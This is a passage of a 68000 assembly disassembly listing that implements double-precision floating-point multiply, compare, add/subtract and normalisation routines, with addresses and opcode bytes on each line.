  1243.     MULU    D4,D5            ;0B02: CAC4
  1244.     SWAP    D3            ;0B04: 4843
  1245.     MOVE    D3,D6            ;0B06: 3C03
  1246.     MULU    D4,D6            ;0B08: CCC4
  1247.     SWAP    D3            ;0B0A: 4843
  1248.     MOVE    D3,D7            ;0B0C: 3E03
  1249.     MULU    D4,D7            ;0B0E: CEC4
  1250.     SWAP    D7            ;0B10: 4847
  1251.     ADD    D6,D7            ;0B12: DE46
  1252.     SWAP    D7            ;0B14: 4847
  1253.     CLR    D6            ;0B16: 4246
  1254.     SWAP    D6            ;0B18: 4846
  1255.     ADDX.L    D5,D6            ;0B1A: DD85
  1256.     SUB.L    D7,D1            ;0B1C: 9287
  1257.     SUBX.L    D6,D0            ;0B1E: 9186
  1258.     BCC.S    LAB_00B8        ;0B20: 6404
  1259. LAB_00B7:
  1260.     SUBI    #$0001,D4        ;0B22: 04440001
  1261. LAB_00B8:
  1262.     MOVE    D4,-(A7)        ;0B26: 3F04
  1263.     MOVE.L    (A7)+,D1        ;0B28: 221F
  1264.     MOVE.L    (A7)+,D0        ;0B2A: 201F
  1265.     SWAP    D0            ;0B2C: 4840
  1266.     SWAP    D1            ;0B2E: 4841
  1267.     MOVE.L    A1,D4            ;0B30: 2809
  1268.     MOVE    D4,D5            ;0B32: 3A04
  1269.     SWAP    D4            ;0B34: 4844
  1270.     ASL.L    #1,D1            ;0B36: E381
  1271.     ROXL.L    #1,D0            ;0B38: E390
  1272.     BRA    LAB_00DE        ;0B3A: 60000316
  1273.     DC.W    $0000            ;0B3E
  1274. LAB_00B9:
  1275.     MOVEQ    #1,D0            ;0B40: 7001
  1276.     RTS                ;0B42: 4E75
  1277. LAB_00BA:
  1278.     MOVEQ    #-1,D0            ;0B44: 70FF
  1279.     RTS                ;0B46: 4E75
  1280.     TST.L    D0            ;0B48: 4A80
  1281.     BMI.S    LAB_00BC        ;0B4A: 6B2A
  1282.     TST.L    D2            ;0B4C: 4A82
  1283.     BPL.S    LAB_00BB        ;0B4E: 6A16
  1284.     TST.L    D0            ;0B50: 4A80
  1285.     BNE.S    LAB_00B9        ;0B52: 66EC
  1286.     TST.L    D1            ;0B54: 4A81
  1287.     BNE.S    LAB_00B9        ;0B56: 66E8
  1288.     TST.L    D3            ;0B58: 4A83
  1289.     BNE.S    LAB_00B9        ;0B5A: 66E4
  1290.     MOVE.L    D2,D0            ;0B5C: 2002
  1291.     ADD.L    D0,D0            ;0B5E: D080
  1292.     BNE.S    LAB_00B9        ;0B60: 66DE
  1293.     MOVEQ    #0,D0            ;0B62: 7000
  1294.     RTS                ;0B64: 4E75
  1295. LAB_00BB:
  1296.     CMP.L    D2,D0            ;0B66: B082
  1297.     BMI.S    LAB_00BA        ;0B68: 6BDA
  1298.     BGT.S    LAB_00B9        ;0B6A: 6ED4
  1299.     CMP.L    D1,D3            ;0B6C: B681
  1300.     BCS.S    LAB_00B9        ;0B6E: 65D0
  1301.     BNE.S    LAB_00BA        ;0B70: 66D2
  1302.     MOVEQ    #0,D0            ;0B72: 7000
  1303.     RTS                ;0B74: 4E75
  1304. LAB_00BC:
  1305.     TST.L    D2            ;0B76: 4A82
  1306.     BMI.S    LAB_00BD        ;0B78: 6B12
  1307.     BNE.S    LAB_00BA        ;0B7A: 66C8
  1308.     TST.L    D3            ;0B7C: 4A83
  1309.     BNE.S    LAB_00BA        ;0B7E: 66C4
  1310.     TST.L    D1            ;0B80: 4A81
  1311.     BNE.S    LAB_00BA        ;0B82: 66C0
  1312.     ADD.L    D0,D0            ;0B84: D080
  1313.     BNE.S    LAB_00BA        ;0B86: 66BC
  1314.     MOVEQ    #0,D0            ;0B88: 7000
  1315.     RTS                ;0B8A: 4E75
  1316. LAB_00BD:
  1317.     CMP.L    D0,D2            ;0B8C: B480
  1318.     BMI.S    LAB_00BA        ;0B8E: 6BB4
  1319.     BGT.S    LAB_00B9        ;0B90: 6EAE
  1320.     CMP.L    D3,D1            ;0B92: B283
  1321.     BCS.S    LAB_00B9        ;0B94: 65AA
  1322.     BMI.S    LAB_00BA        ;0B96: 6BAC
  1323.     BGT.S    LAB_00B9        ;0B98: 6EA6
  1324.     MOVEQ    #0,D0            ;0B9A: 7000
  1325.     RTS                ;0B9C: 4E75
  1326.     DC.W    $0000            ;0B9E
  1327. LAB_00BE:
  1328.     CMP    D2,D0            ;0BA0: B042
  1329.     BLT.S    LAB_00C1        ;0BA2: 6D18
  1330.     CMP.L    A0,D0            ;0BA4: B088
  1331.     BNE.S    LAB_00BF        ;0BA6: 6604
  1332.     TST.L    D1            ;0BA8: 4A81
  1333.     BEQ.S    LAB_00C0        ;0BAA: 6704
  1334. LAB_00BF:
  1335.     BRA    LAB_011E        ;0BAC: 600006C0
  1336. LAB_00C0:
  1337.     CMP    D7,D2            ;0BB0: B447
  1338.     BLT.S    LAB_00C2        ;0BB2: 6D0E
  1339.     CMP.L    A0,D2            ;0BB4: B488
  1340.     BNE.S    LAB_00C1        ;0BB6: 6604
  1341.     TST.L    D3            ;0BB8: 4A83
  1342.     BEQ.S    LAB_00C2        ;0BBA: 6706
  1343. LAB_00C1:
  1344.     MOVE.L    D2,D0            ;0BBC: 2002
  1345.     MOVE.L    D3,D1            ;0BBE: 2203
  1346.     BRA.S    LAB_00BF        ;0BC0: 60EA
  1347. LAB_00C2:
  1348.     TST.L    D2            ;0BC2: 4A82
  1349.     BNE.S    LAB_00C3        ;0BC4: 6606
  1350.     TST.L    D3            ;0BC6: 4A83
  1351.     BEQ    LAB_011D        ;0BC8: 67000696
  1352. LAB_00C3:
  1353.     BRA    LAB_011C        ;0BCC: 60000680
  1354. LAB_00C4:
  1355.     CMP.L    A0,D2            ;0BD0: B488
  1356.     BNE.S    LAB_00C5        ;0BD2: 6604
  1357.     TST.L    D3            ;0BD4: 4A83
  1358.     BEQ.S    LAB_00C6        ;0BD6: 6706
  1359. LAB_00C5:
  1360.     MOVE.L    D2,D0            ;0BD8: 2002
  1361.     MOVE.L    D3,D1            ;0BDA: 2203
  1362.     BRA.S    LAB_00BF        ;0BDC: 60CE
  1363. LAB_00C6:
  1364.     TST.L    D0            ;0BDE: 4A80
  1365.     BNE.S    LAB_00C3        ;0BE0: 66EA
  1366.     TST.L    D1            ;0BE2: 4A81
  1367.     BNE.S    LAB_00C3        ;0BE4: 66E6
  1368.     BRA    LAB_011D        ;0BE6: 60000678
  1369.     MOVEM.L    D2-D7,-(A7)        ;0BEA: 48E73F00
  1370.     MOVE    #$8000,D6        ;0BEE: 3C3C8000
  1371.     MOVEA    #$7FF0,A0        ;0BF2: 307C7FF0
  1372.     MOVE    A0,D7            ;0BF6: 3E08
  1373.     SWAP    D0            ;0BF8: 4840
  1374.     SWAP    D2            ;0BFA: 4842
  1375.     MOVE    D0,D4            ;0BFC: 3800
  1376.     AND    D6,D4            ;0BFE: C846
  1377.     EOR    D4,D0            ;0C00: B940
  1378.     AND    D2,D6            ;0C02: CC42
  1379.     EOR    D6,D2            ;0C04: BD42
  1380.     EOR    D6,D4            ;0C06: BD44
  1381.     CMP    D7,D0            ;0C08: B047
  1382.     BGE.S    LAB_00BE        ;0C0A: 6C94
  1383.     CMP    D7,D2            ;0C0C: B447
  1384.     BGE.S    LAB_00C4        ;0C0E: 6CC0
  1385.     MOVE    D0,D5            ;0C10: 3A00
  1386.     AND    D7,D5            ;0C12: CA47
  1387.     BNE.S    LAB_00CB        ;0C14: 6634
  1388.     TST.L    D0            ;0C16: 4A80
  1389.     BNE.S    LAB_00C7        ;0C18: 6608
  1390.     TST.L    D1            ;0C1A: 4A81
  1391.     BNE.S    LAB_00C7        ;0C1C: 6604
  1392.     BRA    LAB_0119        ;0C1E: 60000600
  1393. LAB_00C7:
  1394.     BSR    LAB_0105        ;0C22: 6100046C
  1395.     BRA.S    LAB_00CC        ;0C26: 6028
  1396. LAB_00C8:
  1397.     TST.L    D2            ;0C28: 4A82
  1398.     BNE.S    LAB_00C9        ;0C2A: 6608
  1399.     TST.L    D3            ;0C2C: 4A83
  1400.     BNE.S    LAB_00C9        ;0C2E: 6604
  1401.     BRA    LAB_0119        ;0C30: 600005EE
  1402. LAB_00C9:
  1403.     EXG    D0,D2            ;0C34: C142
  1404.     EXG    D1,D3            ;0C36: C343
  1405.     EXG    D5,D7            ;0C38: CB47
  1406.     BSR    LAB_0105        ;0C3A: 61000454
  1407.     EXG    D0,D2            ;0C3E: C142
  1408.     EXG    D1,D3            ;0C40: C343
  1409.     EXG    D5,D7            ;0C42: CB47
  1410.     BRA.S    LAB_00CD        ;0C44: 6014
  1411. LAB_00CA:
  1412.     BRA    LAB_011B        ;0C46: 600005F4
  1413. LAB_00CB:
  1414.     EOR    D5,D0            ;0C4A: BB40
  1415.     EORI    #$0010,D0        ;0C4C: 0A400010
  1416. LAB_00CC:
  1417.     AND    D2,D7            ;0C50: CE42
  1418.     BEQ.S    LAB_00C8        ;0C52: 67D4
  1419.     EOR    D7,D2            ;0C54: BF42
  1420.     ORI    #$0010,D2        ;0C56: 00420010
  1421. LAB_00CD:
  1422.     SUBI    #$3FF0,D5        ;0C5A: 04453FF0
  1423.     ADD    D7,D5            ;0C5E: DA47
  1424.     BVS.S    LAB_00CA        ;0C60: 69E4
  1425.     SWAP    D0            ;0C62: 4840
  1426.     SWAP    D2            ;0C64: 4842
  1427.     MOVE.L    D1,D7            ;0C66: 2E01
  1428.     BNE    LAB_00D1        ;0C68: 66000084
  1429.     LSL.L    #7,D0            ;0C6C: EF88
  1430.     MOVE.L    D3,D7            ;0C6E: 2E03
  1431.     BNE.S    LAB_00CE        ;0C70: 6628
  1432.     LSL.L    #7,D2            ;0C72: EF8A
  1433.     MOVE    D0,D1            ;0C74: 3200
  1434.     MULU    D2,D1            ;0C76: C2C2
  1435.     MOVE    D0,D7            ;0C78: 3E00
  1436.     MOVE    D2,D6            ;0C7A: 3C02
  1437.     SWAP    D2            ;0C7C: 4842
  1438.     MULU    D2,D7            ;0C7E: CEC2
  1439.     SWAP    D0            ;0C80: 4840
  1440.     MULU    D0,D6            ;0C82: CCC0
  1441.     ADD.L    D6,D7            ;0C84: DE86
  1442.     MULU    D2,D0            ;0C86: C0C2
  1443.     SWAP    D1            ;0C88: 4841
  1444.     ADD    D7,D1            ;0C8A: D247
  1445.     CLR    D7            ;0C8C: 4247
  1446.     SWAP    D7            ;0C8E: 4847
  1447.     ADDX.L    D7,D0            ;0C90: D187
  1448.     SWAP    D1            ;0C92: 4841
  1449.     BRA    LAB_00DE        ;0C94: 600001BC
  1450.     BRA.S    LAB_00D0        ;0C98: 6050
  1451. LAB_00CE:
  1452.     LSL.L    #7,D2            ;0C9A: EF8A
  1453.     LSL.L    #7,D3            ;0C9C: EF8B
  1454.     ROL.L    #7,D7            ;0C9E: EF9F
  1455.     EOR    D3,D7            ;0CA0: B747
  1456.     EOR    D7,D2            ;0CA2: BF42
  1457. LAB_00CF:
  1458.     SWAP    D0            ;0CA4: 4840
  1459.     MOVE    D3,D1            ;0CA6: 3203
  1460.     MULU    D0,D1            ;0CA8: C2C0
  1461.     SWAP    D3            ;0CAA: 4843
  1462.     SWAP    D0            ;0CAC: 4840
  1463.     MOVE    D3,D6            ;0CAE: 3C03
  1464.     MULU    D0,D6            ;0CB0: CCC0
  1465.     ADD.L    D6,D1            ;0CB2: D286
  1466.     CLR    D1            ;0CB4: 4241
  1467.     SWAP    D1            ;0CB6: 4841
  1468.     MOVE.L    D0,D6            ;0CB8: 2C00
  1469.     SWAP    D0            ;0CBA: 4840
  1470.     SWAP    D2            ;0CBC: 4842
  1471.     MULU    D0,D3            ;0CBE: C6C0
  1472.     ADDX.L    D3,D1            ;0CC0: D383
  1473.     MOVE    D2,D7            ;0CC2: 3E02
  1474.     MULU    D2,D0            ;0CC4: C0C2
  1475.     SWAP    D2            ;0CC6: 4842
  1476.     MOVE    D6,D3            ;0CC8: 3606
  1477.     MULU    D2,D3            ;0CCA: C6C2
  1478.     ADD.L    D3,D1            ;0CCC: D283
  1479.     CLR.L    D3            ;0CCE: 4283
  1480.     ADDX.L    D3,D0            ;0CD0: D183
  1481.     MULU    D6,D7            ;0CD2: CEC6
  1482.     SWAP    D6            ;0CD4: 4846
  1483.     MULU    D2,D6            ;0CD6: CCC2
  1484.     ADD.L    D6,D7            ;0CD8: DE86
  1485.     SWAP    D1            ;0CDA: 4841
  1486.     ADD    D7,D1            ;0CDC: D247
  1487.     CLR    D7            ;0CDE: 4247
  1488.     SWAP    D7            ;0CE0: 4847
  1489.     ADDX.L    D7,D0            ;0CE2: D187
  1490.     SWAP    D1            ;0CE4: 4841
  1491.     BRA    LAB_00DE        ;0CE6: 6000016A
  1492. LAB_00D0:
  1493.     BRA    LAB_00D3        ;0CEA: 60000082
  1494. LAB_00D1:
  1495.     LSL.L    #7,D0            ;0CEE: EF88
  1496.     LSL.L    #7,D1            ;0CF0: EF89
  1497.     ROL.L    #7,D7            ;0CF2: EF9F
  1498.     EOR    D1,D7            ;0CF4: B347
  1499.     EOR    D7,D0            ;0CF6: BF40
  1500.     MOVE.L    D3,D7            ;0CF8: 2E03
  1501.     BNE.S    LAB_00D2        ;0CFA: 6608
  1502.     EXG    D0,D2            ;0CFC: C142
  1503.     MOVE.L    D1,D3            ;0CFE: 2601
  1504.     LSL.L    #7,D0            ;0D00: EF88
  1505.     BRA.S    LAB_00CF        ;0D02: 60A0
  1506. LAB_00D2:
  1507.     LSL.L    #7,D2            ;0D04: EF8A
  1508.     LSL.L    #7,D3            ;0D06: EF8B
  1509.     ROL.L    #7,D7            ;0D08: EF9F
  1510.     EOR    D3,D7            ;0D0A: B747
  1511.     EOR    D7,D2            ;0D0C: BF42
  1512.     SWAP    D0            ;0D0E: 4840
  1513.     SWAP    D2            ;0D10: 4842
  1514.     MOVE    D1,D7            ;0D12: 3E01
  1515.     MULU    D2,D7            ;0D14: CEC2
  1516.     MOVE    D3,D6            ;0D16: 3C03
  1517.     MULU    D0,D6            ;0D18: CCC0
  1518.     ADD.L    D6,D7            ;0D1A: DE86
  1519.     CLR    D7            ;0D1C: 4247
  1520.     SWAP    D7            ;0D1E: 4847
  1521.     SWAP    D1            ;0D20: 4841
  1522.     SWAP    D3            ;0D22: 4843
  1523.     SWAP    D0            ;0D24: 4840
  1524.     SWAP    D2            ;0D26: 4842
  1525.     MOVE    D2,D6            ;0D28: 3C02
  1526.     MULU    D1,D6            ;0D2A: CCC1
  1527.     CLR    D6            ;0D2C: 4246
  1528.     SWAP    D6            ;0D2E: 4846
  1529.     ADD.L    D6,D7            ;0D30: DE86
  1530.     MOVE    D3,D6            ;0D32: 3C03
  1531.     MULU    D0,D6            ;0D34: CCC0
  1532.     CLR    D6            ;0D36: 4246
  1533.     SWAP    D6            ;0D38: 4846
  1534.     ADD.L    D6,D7            ;0D3A: DE86
  1535.     MOVE.L    D0,D6            ;0D3C: 2C00
  1536.     SWAP    D0            ;0D3E: 4840
  1537.     SWAP    D2            ;0D40: 4842
  1538.     MULU    D2,D1            ;0D42: C2C2
  1539.     ADD.L    D7,D1            ;0D44: D287
  1540.     MULU    D0,D3            ;0D46: C6C0
  1541.     ADD.L    D3,D1            ;0D48: D283
  1542.     MOVE    D2,D7            ;0D4A: 3E02
  1543.     MULU    D2,D0            ;0D4C: C0C2
  1544.     SWAP    D2            ;0D4E: 4842
  1545.     MOVE    D6,D3            ;0D50: 3606
  1546.     MULU    D2,D3            ;0D52: C6C2
  1547.     ADD.L    D3,D1            ;0D54: D283
  1548.     CLR.L    D3            ;0D56: 4283
  1549.     ADDX.L    D3,D0            ;0D58: D183
  1550.     MULU    D6,D7            ;0D5A: CEC6
  1551.     SWAP    D6            ;0D5C: 4846
  1552.     MULU    D2,D6            ;0D5E: CCC2
  1553.     ADD.L    D6,D7            ;0D60: DE86
  1554.     SWAP    D1            ;0D62: 4841
  1555.     ADD    D7,D1            ;0D64: D247
  1556.     CLR    D7            ;0D66: 4247
  1557.     SWAP    D7            ;0D68: 4847
  1558.     ADDX.L    D7,D0            ;0D6A: D187
  1559.     SWAP    D1            ;0D6C: 4841
  1560. LAB_00D3:
  1561.     BRA    LAB_00DE        ;0D6E: 600000E2
  1562.     DC.W    $0000            ;0D72
  1563. LAB_00D4:
  1564.     CMPI.L    #$00000020,D0        ;0D74: 0C8000000020
  1565.     BGE.S    LAB_00D6        ;0D7A: 6C30
  1566.     SWAP    D0            ;0D7C: 4840
  1567.     SWAP    D1            ;0D7E: 4841
  1568.     MOVE    D1,D0            ;0D80: 3001
  1569.     CLR    D1            ;0D82: 4241
  1570.     SUBI    #$0100,D5        ;0D84: 04450100
  1571.     BGE.S    LAB_00D4        ;0D88: 6CEA
  1572.     BRA.S    LAB_00D9        ;0D8A: 6062
  1573. LAB_00D5:
  1574.     BTST    D2,D4            ;0D8C: 0504
  1575.     BTST    D1,D3            ;0D8E: 0303
  1576.     DC.W    $0202            ;0D90
  1577.     DC.W    $0202            ;0D92
  1578.     BTST    D0,D1            ;0D94: 0101
  1579.     BTST    D0,D1            ;0D96: 0101
  1580.     BTST    D0,D1            ;0D98: 0101
  1581.     BTST    D0,D1            ;0D9A: 0101
  1582.     ORI.B    #$00,D0            ;0D9C: 00000000
  1583.     ORI.B    #$00,D0            ;0DA0: 00000000
  1584.     ORI.B    #$00,D0            ;0DA4: 00000000
  1585.     ORI.B    #$00,D0            ;0DA8: 00000000
  1586. LAB_00D6:
  1587.     MOVEQ    #0,D3            ;0DAC: 7600
  1588.     CMPI.L    #$00002000,D0        ;0DAE: 0C8000002000
  1589.     BGE.S    LAB_00D7        ;0DB4: 6C04
  1590.     LSL.L    #8,D0            ;0DB6: E188
  1591.     ADDQ    #8,D3            ;0DB8: 5043
  1592. LAB_00D7:
  1593.     SWAP    D0            ;0DBA: 4840
  1594.     TST    D0            ;0DBC: 4A40
  1595.     BNE.S    LAB_00D8        ;0DBE: 6604
  1596.     ROL.L    #4,D0            ;0DC0: E998
  1597.     ADDQ    #4,D3            ;0DC2: 5843
  1598. LAB_00D8:
  1599.     MOVEQ    #0,D2            ;0DC4: 7400
  1600.     MOVE.B    LAB_00D5(PC,D0.W),D2    ;0DC6: 143B00C4
  1601.     ROL.L    D2,D0            ;0DCA: E5B8
  1602.     ADD    D2,D3            ;0DCC: D642
  1603.     SWAP    D0            ;0DCE: 4840
  1604.     MOVE.L    D1,D2            ;0DD0: 2401
  1605.     LSL.L    D3,D1            ;0DD2: E7A9
  1606.     ROL.L    D3,D2            ;0DD4: E7BA
  1607.     EOR    D1,D2            ;0DD6: B342
  1608.     EOR    D2,D0            ;0DD8: B540
  1609.     LSL    #4,D3            ;0DDA: E94B
  1610.     SUB    D3,D5            ;0DDC: 9A43
  1611.     BLT.S    LAB_00D9        ;0DDE: 6D0E
  1612.     SWAP    D0            ;0DE0: 4840
  1613.     ADD    D5,D0            ;0DE2: D045
  1614.     OR    D4,D0            ;0DE4: 8044
  1615.     SWAP    D0            ;0DE6: 4840
  1616.     MOVEM.L    (A7)+,D2-D7        ;0DE8: 4CDF00FC
  1617.     RTS                ;0DEC: 4E75
  1618. LAB_00D9:
  1619.     NEG    D5            ;0DEE: 4445
  1620.     LSR    #4,D5            ;0DF0: E84D
  1621.     MOVE.L    D0,D2            ;0DF2: 2400
  1622.     LSR.L    D5,D0            ;0DF4: EAA8
  1623.     ROR.L    D5,D2            ;0DF6: EABA
  1624.     LSR.L    D5,D1            ;0DF8: EAA9
  1625.     EOR.L    D0,D2            ;0DFA: B182
  1626.     EOR.L    D2,D1            ;0DFC: B581
  1627.     SWAP    D0            ;0DFE: 4840
  1628.     EOR    D4,D0            ;0E00: B940
  1629.     SWAP    D0            ;0E02: 4840
  1630.     MOVEM.L    (A7)+,D2-D7        ;0E04: 4CDF00FC
  1631.     RTS                ;0E08: 4E75
  1632.     DC.W    $0000            ;0E0A
  1633. LAB_00DA:
  1634.     NEG    D5            ;0E0C: 4445
  1635.     LSR    #4,D5            ;0E0E: E84D
  1636.     ADDI    #$0002,D5        ;0E10: 06450002
  1637.     CMPI    #$0039,D5        ;0E14: 0C450039
  1638.     BLE.S    LAB_00DC        ;0E18: 6F0C
  1639.     BRA    LAB_011A        ;0E1A: 60000412
  1640. LAB_00DB:
  1641.     MOVE    D0,D1            ;0E1E: 3200
  1642.     CLR    D0            ;0E20: 4240
  1643.     SWAP    D0            ;0E22: 4840
  1644.     SWAP    D1            ;0E24: 4841
  1645. LAB_00DC:
  1646.     SUBI    #$0010,D5        ;0E26: 04450010
  1647.     BGT.S    LAB_00DB        ;0E2A: 6EF2
  1648.     ADDI    #$0010,D5        ;0E2C: 06450010
  1649.     MOVE.L    D0,D2            ;0E30: 2400
  1650.     LSR.L    D5,D0            ;0E32: EAA8
  1651.     ROR.L    D5,D2            ;0E34: EABA
  1652.     LSR.L    D5,D1            ;0E36: EAA9
  1653.     EOR.L    D0,D2            ;0E38: B182
  1654.     EOR.L    D2,D1            ;0E3A: B581
  1655.     SWAP    D0            ;0E3C: 4840
  1656.     EOR    D4,D0            ;0E3E: B940
  1657.     SWAP    D0            ;0E40: 4840
  1658.     MOVEM.L    (A7)+,D2-D7        ;0E42: 4CDF00FC
  1659.     RTS                ;0E46: 4E75
  1660. LAB_00DD:
  1661.     LSR.L    #1,D0            ;0E48: E288
  1662.     ROXR.L    #1,D1            ;0E4A: E291
  1663.     TST    D5            ;0E4C: 4A45
  1664.     BGE.S    LAB_00DF        ;0E4E: 6C0E
  1665.     BRA.S    LAB_00DA        ;0E50: 60BA
  1666. LAB_00DE:
  1667.     BTST    #23,D0            ;0E52: 08000017
  1668.     BNE.S    LAB_00DD        ;0E56: 66F0
  1669.     SUBI    #$0010,D5        ;0E58: 04450010
  1670.     BLT.S    LAB_00DA        ;0E5C: 6DAE
  1671. LAB_00DF:
  1672.     LSR.L    #1,D0            ;0E5E: E288
  1673.     ROXR.L    #1,D1            ;0E60: E291
  1674.     LSR.L    #1,D0            ;0E62: E288
  1675.     ROXR.L    #1,D1            ;0E64: E291
  1676.     SWAP    D0            ;0E66: 4840
  1677.     ADD    D5,D0            ;0E68: D045
  1678.     CMP    A0,D0            ;0E6A: B048
  1679.     BGE.S    LAB_00E0        ;0E6C: 6C0A
  1680.     EOR    D4,D0            ;0E6E: B940
  1681.     SWAP    D0            ;0E70: 4840
  1682.     MOVEM.L    (A7)+,D2-D7        ;0E72: 4CDF00FC
  1683.     RTS                ;0E76: 4E75
  1684. LAB_00E0:
  1685.     BRA    LAB_011B        ;0E78: 600003C2
  1686.     ADD.L    D0,D0            ;0E7C: D080
  1687.     BCS.S    LAB_00E3        ;0E7E: 6512
  1688.     BNE.S    LAB_00E1        ;0E80: 6604
  1689.     TST.L    D1            ;0E82: 4A81
  1690.     BEQ.S    LAB_00E4        ;0E84: 6712
  1691. LAB_00E1:
  1692.     MOVEQ    #1,D0            ;0E86: 7001
  1693.     RTS                ;0E88: 4E75
  1694. LAB_00E2:
  1695.     TST.L    D1            ;0E8A: 4A81
  1696.     BEQ.S    LAB_00E4        ;0E8C: 670A
  1697.     MOVEQ    #-1,D0            ;0E8E: 70FF
  1698.     RTS                ;0E90: 4E75
  1699. LAB_00E3:
  1700.     BEQ.S    LAB_00E2        ;0E92: 67F6
  1701.     MOVEQ    #-1,D0            ;0E94: 70FF
  1702.     RTS                ;0E96: 4E75
  1703. LAB_00E4:
  1704.     CLR.L    D0            ;0E98: 4280
  1705.     RTS                ;0E9A: 4E75
  1706.     BCHG    #31,D2            ;0E9C: 0842001F
  1707.     BSR.S    LAB_00E5        ;0EA0: 6106
  1708.     BCHG    #31,D2            ;0EA2: 0842001F
  1709.     RTS                ;0EA6: 4E75
  1710. LAB_00E5:
  1711.     MOVEM.L    D2-D7,-(A7)        ;0EA8: 48E73F00
  1712.     MOVEA    #$0010,A0        ;0EAC: 307C0010
  1713.     MOVEA    #$7FF0,A1        ;0EB0: 327C7FF0
  1714.     SWAP    D0            ;0EB4: 4840
  1715.     SWAP    D2            ;0EB6: 4842
  1716.     MOVE    #$8000,D6        ;0EB8: 3C3C8000
  1717.     MOVE    A1,D7            ;0EBC: 3E09
  1718.     MOVE    D0,D4            ;0EBE: 3800
  1719.     AND    D6,D4            ;0EC0: C846
  1720.     EOR    D4,D0            ;0EC2: B940
  1721.     MOVE    D0,D5            ;0EC4: 3A00
  1722.     AND    D7,D5            ;0EC6: CA47
  1723.     EOR    D5,D0            ;0EC8: BB40
  1724.     AND    D2,D6            ;0ECA: CC42
  1725.     EOR    D6,D2            ;0ECC: BD42
  1726.     AND    D2,D7            ;0ECE: CE42
  1727.     EOR    D7,D2            ;0ED0: BF42
  1728.     CMP    D7,D5            ;0ED2: BA47
  1729.     BNE    LAB_00F5        ;0ED4: 660000C0
  1730.     CMP    A1,D5            ;0ED8: BA49
  1731.     BNE.S    LAB_00E9        ;0EDA: 6620
  1732.     CMP    D2,D0            ;0EDC: B042
  1733.     BLT.S    LAB_00E6        ;0EDE: 6D0C
  1734.     MOVE.L    D0,D7            ;0EE0: 2E00
  1735.     OR.L    D1,D7            ;0EE2: 8E81
  1736.     BNE.S    LAB_00E7        ;0EE4: 660A
  1737.     MOVE.L    D2,D7            ;0EE6: 2E02
  1738.     OR.L    D3,D7            ;0EE8: 8E83
  1739.     BEQ.S    LAB_00E8        ;0EEA: 6708
  1740. LAB_00E6:
  1741.     MOVE.L    D2,D0            ;0EEC: 2002
  1742.     MOVE.L    D3,D1            ;0EEE: 2203
  1743. LAB_00E7:
  1744.     BRA    LAB_011E        ;0EF0: 6000037C
  1745. LAB_00E8:
  1746.     CMP    D4,D6            ;0EF4: BC44
  1747.     BEQ.S    LAB_00F1        ;0EF6: 6770
  1748.     BRA    LAB_011D        ;0EF8: 60000366
  1749. LAB_00E9:
  1750.     TST    D5            ;0EFC: 4A45
  1751.     BNE.S    LAB_00EC        ;0EFE: 663E
  1752.     SWAP    D0            ;0F00: 4840
  1753.     BNE.S    LAB_00EB        ;0F02: 6624
  1754.     TST.L    D1            ;0F04: 4A81
  1755.     BNE.S    LAB_00EB        ;0F06: 6620
  1756.     SWAP    D2            ;0F08: 4842
  1757.     BNE.S    LAB_00EA        ;0F0A: 660A
  1758.     TST.L    D3            ;0F0C: 4A83
  1759.     BNE.S    LAB_00EA        ;0F0E: 6606
  1760.     AND    D6,D4            ;0F10: C846
  1761.     BRA    LAB_0119        ;0F12: 6000030C
  1762. LAB_00EA:
  1763.     MOVE.L    D2,D0            ;0F16: 2002
  1764.     MOVE.L    D3,D1            ;0F18: 2203
  1765.     SWAP    D0            ;0F1A: 4840
  1766.     EOR    D6,D0            ;0F1C: BD40
  1767.     EOR    D7,D0            ;0F1E: BF40
  1768.     SWAP    D0            ;0F20: 4840
  1769.     MOVEM.L    (A7)+,D2-D7        ;0F22: 4CDF00FC
  1770.     RTS                ;0F26: 4E75
  1771. LAB_00EB:
  1772.     SWAP    D2            ;0F28: 4842
  1773.     BNE.S    LAB_00ED        ;0F2A: 661C
  1774.     TST.L    D3            ;0F2C: 4A83
  1775.     BNE.S    LAB_00ED        ;0F2E: 6618
  1776.     SWAP    D0            ;0F30: 4840
  1777.     EOR    D4,D0            ;0F32: B940
  1778.     EOR    D5,D0            ;0F34: BB40
  1779.     SWAP    D0            ;0F36: 4840
  1780.     MOVEM.L    (A7)+,D2-D7        ;0F38: 4CDF00FC
  1781.     RTS                ;0F3C: 4E75
  1782. LAB_00EC:
  1783.     SUB    A0,D5            ;0F3E: 9A48
  1784.     ADD    A0,D0            ;0F40: D048
  1785.     ADD    A0,D2            ;0F42: D448
  1786.     SWAP    D0            ;0F44: 4840
  1787.     SWAP    D2            ;0F46: 4842
  1788. LAB_00ED:
  1789.     CMP    D4,D6            ;0F48: BC44
  1790.     BEQ.S    LAB_00F2        ;0F4A: 6720
  1791.     SUB.L    D3,D1            ;0F4C: 9283
  1792.     BNE.S    LAB_00EE        ;0F4E: 660A
  1793.     SUBX.L    D2,D0            ;0F50: 9182
  1794.     BNE.S    LAB_00EF        ;0F52: 6608
  1795.     MOVEM.L    (A7)+,D2-D7        ;0F54: 4CDF00FC
  1796.     RTS                ;0F58: 4E75
  1797. LAB_00EE:
  1798.     SUBX.L    D2,D0            ;0F5A: 9182
  1799. LAB_00EF:
  1800.     BPL.S    LAB_00F0        ;0F5C: 6A06
  1801.     NEG.L    D1            ;0F5E: 4481
  1802.     NEGX.L    D0            ;0F60: 4080
  1803.     MOVE    D6,D4            ;0F62: 3806
  1804. LAB_00F0:
  1805.     BRA    LAB_00D4        ;0F64: 6000FE0E
  1806. LAB_00F1:
  1807.     BRA    LAB_011C        ;0F68: 600002E4
  1808. LAB_00F2:
  1809.     ADD.L    D3,D1            ;0F6C: D283
  1810.     ADDX.L    D2,D0            ;0F6E: D182
  1811.     CMPI.L    #$00200000,D0        ;0F70: 0C8000200000
  1812.     BLT.S    LAB_00F3        ;0F76: 6D0A
  1813.     LSR.L    #1,D0            ;0F78: E288
  1814.     ROXR.L    #1,D1            ;0F7A: E291
  1815.     ADD    A0,D5            ;0F7C: DA48
  1816.     CMPI    #$7FE0,D5        ;0F7E: 0C457FE0
  1817. LAB_00F3:
  1818.     BCS.S    LAB_00F4        ;0F82: 6504
  1819.     BRA    LAB_011B        ;0F84: 600002B6
  1820. LAB_00F4:
  1821.     SWAP    D0            ;0F88: 4840
  1822.     ADD    D5,D0            ;0F8A: D045
  1823.     OR    D4,D0            ;0F8C: 8044
  1824.     SWAP    D0            ;0F8E: 4840
  1825.     MOVEM.L    (A7)+,D2-D7        ;0F90: 4CDF00FC
  1826.     RTS                ;0F94: 4E75
  1827. LAB_00F5:
  1828.     BGT.S    LAB_00F6        ;0F96: 6E08
  1829.     EXG    D0,D2            ;0F98: C142
